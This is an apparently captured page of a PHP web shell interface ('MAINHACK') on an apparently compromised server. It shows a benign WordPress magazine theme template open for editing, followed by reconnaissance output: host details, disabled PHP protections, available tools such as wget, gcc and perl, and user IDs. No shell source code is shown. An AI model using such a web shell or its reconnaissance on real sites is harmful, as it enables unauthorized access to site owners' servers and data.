[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: template-magazine.php
<?php /** * Template Name: Magazine Template * * @link https://developer.wordpress.org/themes/basics/template-hierarchy/ * * @package PridMag */ get_header(); ?> <?php if ( current_user_can( 'edit_theme_options' ) ) : ?> <?php if ( !is_active_sidebar( 'featured-sidebar' ) && !is_active_sidebar( 'magazine-sidebar-1' ) && !is_active_sidebar( 'magazine-sidebar-2' ) && !is_active_sidebar( 'magazine-sidebar-3' ) && !is_active_sidebar( 'magazine-sidebar-4' ) ) : ?> <div class="th-instructions"> <p> <?php esc_html_e( 'Please go to Appearance → Widgets OR Appearance → Customize → Widgets and add widgets to the "Featured Content Area", "Magazine Top Content", "Magazine Mid Left Content" and "Magazine Mid Right Content" widget areas. You can use TH: Magazine Posts widgets to set up the theme like the demo website. If you want more information please read the theme documentaion.', 'pridmag' ); ?> </p> </div> <?php endif; ?> <?php endif; ?> <div class="pm-featured-content-area"> <?php if ( is_active_sidebar( 'featured-sidebar' ) ) { dynamic_sidebar( 'featured-sidebar' ); } ?> </div><!-- .pm-featured-content-area --> <div class="pm-magazine-top"> <?php if ( is_active_sidebar( 'magazine-sidebar-1' ) ) { dynamic_sidebar( 'magazine-sidebar-1' ); } ?> </div><!-- .pm-magazine-top --> <div class="pm-magazine-mid-left"> <?php if ( is_active_sidebar( 'magazine-sidebar-2' ) ) { dynamic_sidebar( 'magazine-sidebar-2' ); } ?> </div><!-- .pm-magazine-mid-left --> <div class="pm-magazine-mid-right"> <?php if ( is_active_sidebar( 'magazine-sidebar-3' ) ) { dynamic_sidebar( 'magazine-sidebar-3' ); } ?> </div><!-- .pm-magazine-mid-right --> <div class="pm-magazine-bottom"> <?php if ( is_active_sidebar( 'magazine-sidebar-4' ) ) { dynamic_sidebar( 'magazine-sidebar-4' ); } ?> </div><!-- .pm-magazine-bottom --> <?php get_footer();
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.11 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619